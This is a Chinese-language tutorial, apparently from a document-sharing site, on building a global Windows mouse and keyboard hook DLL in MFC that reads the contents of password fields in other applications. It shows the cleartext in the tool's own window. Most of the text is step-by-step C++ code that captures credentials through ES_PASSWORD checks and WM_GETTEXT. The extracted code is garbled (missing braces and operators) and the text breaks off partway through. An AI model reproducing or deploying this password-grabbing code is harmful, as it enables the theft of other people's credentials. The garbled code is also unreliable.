




已阅读5页,还剩4页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
利用鼠标键盘钩子截获密码。源码示例:/soft/GetPass_Src.rar钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的钩子分类 :1、WH_CALLWNDPROC和WH_CALLWNDPROCRET:使你可以监视发送到窗口过程的消息3、WH_DEBUG调试钩子4、WH_FOREGROUNDIDLE当当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDL5、WH_JOURNALRECORD监视和记录输入事件6、WH_JOURNALPLAYBACK回放用WH_JOURNALRECORD记录事件7、WH_KEYBOARD键盘钩子9、WH_KEYBOARD_LL低层键盘钩子10、WH_MOUSE鼠标钩子11、WH_MOUSE_LL底层鼠标钩子12、WH_SHELL外壳钩子13、WH_MSGFILTER 和 WH_SYSMSGFILTER 使我们可以监视菜单,滚动条,消息框等安装钩子:调用函数SetWindowsHookEx安装钩子。其函数原型为: HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId ) idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。 Lpfn是钩子函数的地址。 HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中) dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。 SetWindowsHookEx返回所安装的钩子句柄。 卸载钩子 调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子 定义钩子函数 钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam) 参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。 实例:下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:class AFX_EXT_CLASS CGetPassHook : public CObject public:BOOL StopHook();BOOL StartHook(HWND hwnd);CGetPassHook();virtual CGetPassHook();3:加入全局共享数据,如下:#pragma data_seg(ShareData)HHOOK hKeyBoardHook=NULL;file:/keyboar hookHHOOK hMouseHook=NULL;file:/mouse hookHINSTANCE glhInstance=NULL;file:/globle instanceHWND hOutPutWnd=NULL;file:/Display Pass Wnd#pragma data_seg()4:加入鼠标,键盘钩子处理函数,如下:LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)file:/鼠标钩子得理函数LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;if(nCode=0)HWND hTargetHwnd=lpMouse-hwnd;file:/得到鼠标所在窗口句柄 if(hTargetHwnd)LONG style=:GetWindowLong(hTargetHwnd,GWL_STYLE);file:/得到它的样式if(style&ES_PASSWORD)file:/如果是密码框char szPass255;:SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);file:/得到密码:SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);file:/显示密码return CallNextHookEx(hMouseHook,nCode,wParam,lParam);file:/加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,file:/可以起到截儿消息的目的,我们这里调用之。LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)file:/keyboard hook procif(nCode=0)HWND hTargetHwnd=GetActiveWindow();file:/get active windowif(hTargetHwnd)EnumChildWindows(hTargetHwnd,EnumWndProc,0);file:/枚举所有窗口return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);file:/加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,file:/可以起到截儿消息的目的,我们这里调用之。这里要介绍下EnumChildWindows函数,原形如下:BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);hWndParent:为枚举窗口的句柄lpEnumFunc:枚举函数的地址,lParam:这里为05:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)file:/enum the child window,find passeditif(hwnd)LONG style=:GetWindowLong(hwnd,GWL_STYLE);file:/得到STYLEif(style&ES_PASSWORD)file:/是密码框char szPass255;:SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass);file:/得到PASS:SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);file:/显示return TRUE;return TRUE;6:在DEF文件中定义段属性: (这步很重要)SECTIONS mydata READ WRITE SHARED 7:完成StartHook,StopHook函数,启动/关闭钩子,如下:BOOL CGetPassHook:StartHook(HWND hwnd)file:/install hoookhMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);file:/mouse hookhKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);file:/keyboard hookif(hMouseHook&hKeyBoardHook)hOutPutWnd=hwnd;file:/显示密码的句柄return TRUE;return FALSE;BOOL CGetPassHook:StopHook()file:/unstall hookBOOL mHook=UnhookWindowsHookEx(hMouseHook);BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);if(mHook&kHook)return TRUE;return FALSE;8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:extern HINSTANCE glhInstance;file:/记得这里extern C int APIENTRYDllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)UNREFERENCED_PARAMETER(lpReserved);if (dwReason = DLL_PROCESS_ATTACH)TRACE0(GETPASS.DLL Initializing!n);if (!AfxInitExtensionModule(GetPassDLL, hInstance)return 0;new CDynLinkLibrary(GetPassDLL);glhInstance=hInstance;file:/得到句柄else if (dwReason = DLL_PROCESS_DETACH)TRACE0(GETPASS.DLL Terminating!n);AfxTermExtensionModule(GetPassDLL);return 1; / ok9:编译,完成DLL部分,下面建立APP部分。如下:1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project-Add to Project-Files选择这两个文件。2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:#include GetPassHook.hclass CGetPassWordDlg : public CDialogprotected:CGetPassHook m_hook;。DECLARE_MESSAGE_MAP();4:在实现文件中:OnInitDialog()中起动HOOKBOOL CGetPassWordDlg:OnInitDialog()CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);m_hook.StartHook(pWnd-GetSafeHwnd();file:/install hookreturn TRUE; / return TRUE unless you set the focus to a control5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:v
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
评论
0/150
提交评论